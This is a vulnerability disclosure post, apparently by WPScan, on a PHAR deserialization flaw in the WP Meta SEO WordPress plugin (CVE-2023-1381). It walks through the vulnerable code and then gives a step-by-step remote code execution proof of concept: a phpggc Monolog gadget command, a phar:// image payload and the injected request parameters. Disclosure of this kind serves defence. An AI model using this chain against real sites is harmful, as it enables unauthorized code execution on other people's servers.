Uncovering a PHAR Deserialization Vulnerability in WP Meta SEO and Escalating to RCE

During an internal audit, the WPScan team found a vulnerability in the WP Meta SEO plugin. This vulnerability allows attackers with at least Author privileges to upload and deserialize a PHAR file, leading to arbitrary PHP object deserialization. We were able to escalate this vulnerability to remote code execution, without the need for additional code on the server.

In this post, we’ll provide an overview of the vulnerability and explain how it can be exploited. We’ll also share our advanced proof-of-concept that escalates to RCE.

We reported this issue to the plugin authors, and a fix was released in version 4.5.5. We strongly recommend that site owners update to the latest version to protect their sites. Additionally, using a robust security solution like Jetpack Security can help to protect against such vulnerabilities in the future.

Plugin NameWP Meta SEO
Plugin URLhttps://wordpress.org/plugins/wp-meta-seo
Authorhttps://www.joomunited.com
Fixed Version4.5.5
CVE-IDCVE-2023-1381
WPScan IDf140a928-d297-4bd1-8552-bfebcedba536
CVSSv3.17.2

Vulnerability Details

WP Meta SEO offers an “SEO Page Optimization” feature that can analyze post content and images.

When the “Reload Analysis” button is clicked, the post contents within the editor are sent to the server for analysis. As a part of this analysis, any referenced image files are inspected and processed.

Here are the relevant snippets from the inc/class.metaseo-admin.php file:

public function reloadAnalysis()
{
    ...

    $content = apply_filters(
        'wpms_the_content',
        '<div>' . html_entity_decode(stripcslashes($_POST['datas']['content']), ENT_COMPAT, 'UTF-8') . '</div>',
        $_POST['datas']['post_id']
    );

    ...

    // image resize
    if ($content === '') {
        ...
    } else {
        // Extracting the specified elements from the web page
        $img_tags = wpmsExtractTags($content, 'img', true, true);
        $img_wrong = false;
        $img_wrong_alt = false;
        foreach ($img_tags as $order => $tag) {
            if (!isset($tag['attributes']['src'])) {
                continue;
            }

            $src = $tag['attributes']['src'];
            $imgpath = str_replace(site_url(), ABSPATH, $src);
            if (!file_exists($imgpath)) {
                continue;
            }
            ...
        }
        ...
    }
    ...
}

The $content variable is populated with POST data from the browser. This is used to find image URL’s, which are then converted to file paths and passed to the file_exists function.

This can be exploited because of a quirk in PHP: if the path given to file_exists uses the phar:// stream wrapper and points to a .phar file or its contents, the PHP metadata object within this file will be automatically deserialized.

Caveat

This type of vulnerability was addressed in PHP 8.0 by disabling the automatic deserialization of PHAR metadata. As a result, WordPress instances running on PHP 8.0 and above are not susceptible to this vulnerability.

Proof Of Concept

The public disclosure includes a step-by-step proof-of-concept demonstrating how to exploit the vulnerability. In summary, an attacker can upload a malicious PHAR file to the server disguised as a JPG and then trigger a file_exists call using a crafted string, such as phar://path/to/malicious.phar/example.png, in an image src attribute. This will cause the server to deserialize the PHAR file and potentially trigger a gadget, such as the __wakeup method of the Evil class in the provided POC.

Escalating to RCE

During the investigation, we noticed the inc/lib/google-api/vendor directory contained libraries with known deserialization gadgets, including guzzlehttp and monolog. However, at the time when the vulnerable code was executed, these libraries were not being loaded.

Upon further inspection, however, were able to identify a way to modify the request to force the libraries with the gadgets to be autoloaded before the vulnerable code was executed.

Consider the following code snippets. First, in wp-meta-seo.php we see the following:

if (is_admin()) {

    ...


    if (isset($_GET['task']) && $_GET['task'] === 'wpms_ga') {
        if (!empty($_GET['code'])) {
            $google_analytics =  get_option('wpms_google_alanytics');

            if (is_array($google_analytics)) {
                $google_analytics['code'] = $_GET['code'];

                require_once WPMETASEO_PLUGIN_DIR . 'inc/google_analytics/wpmstools.php';
                $ggClient = WpmsGaTools::initClient($google_analytics['wpmsga_dash_clientid'], $google_analytics['wpmsga_dash_clientsecret']);

                ...
            }
            ...
        }
        ...
    }
    ...
}

Second, the implementation of WpmsGaTools::initClient within inc/google_analytics/wpmstools.php is as follows:

public static function initClient($clientId, $clientSecret)
{
    require_once WPMETASEO_PLUGIN_DIR . 'inc/google_analytics/wpmsgapi.php';
    require_once WPMETASEO_PLUGIN_DIR . 'inc/lib/google-api/vendor/autoload.php';

    ...
}

When triggered, this will load the autoloader from the google-api library, which will in turn autoload the gadget code.

Since this code is loaded at the beginning of every request to WP Admin, we were able to craft a request that passed all of the conditions and use a gadget to acheive remote code execution.

Following is the step-by-step POC. Note that this POC requires a vulnerable configuration, as outlined below.

  1. Use a WordPress instance on PHP 7.x.
  2. Create a PHAR file with an RCE gadget chain for the monolog PHP library. This can be done using the phpggc tool. Run the following command with an arbitrary JPG file (you may need to set Phar.readonly = Off in your php.ini file): phpggc --phar-jpeg path/to/image.jpg -o poc.jpg Monolog/RCE1 system id
  3. Upload poc.jpg using the Media Editor. Take note of its path within wp-content/uploads
  4. To ensure the site is in the vulnerable configuration, as an admin user, visit /wp-admin/admin.php?page=metaseo_google_analytics&view=wpms_gg_service_data, enter arbitrary information in the Client ID and Client Secret fields, and click “Save and Connect”. This will fail to connect if the ID and Secret are invalid, but either way it will add the needed data to the database.
  5. Create or edit a post or page in the block editor. Add an HTML block with the following contents (but replace any parts of the path to poc.jpg as needed for your test server): <img src="phar://../wp-content/uploads/2023/03/poc.jpg/test.txt">
  6. Without saving the post or page, open the browser console to view network traffic, then click on “Reload Analysis” in the “SEO Page Optimization” section. Intercept the request (e.g. using BurpSuite), and add the following URL parameters: task=wpms_ga&code=UA-1234
  7. Note that the response body of the request will contain the output of the id command after the end of the JSON output.

Conclusion

The discovered vulnerability in WP Meta SEO allows attackers with at least Author privileges to upload and deserialize an arbitrary PHAR file. On PHP versions before 8.0, this can be used to achieve remove code execution due to the existence of suitable gadgets within the plugin. The vulnerability has been fixed in version 4.5.5, and we strongly recommend that all site owners update to the latest version of the plugin as soon as possible.

It’s important to note that vulnerabilities can be discovered in any plugin or software, and the WPScan team works hard to protect users by identifying and reporting such issues to the plugin authors. Remember to always keep your software up-to-date, and consider using a robust security solution like Jetpack Security to further improve the security of your site.

Leave a Reply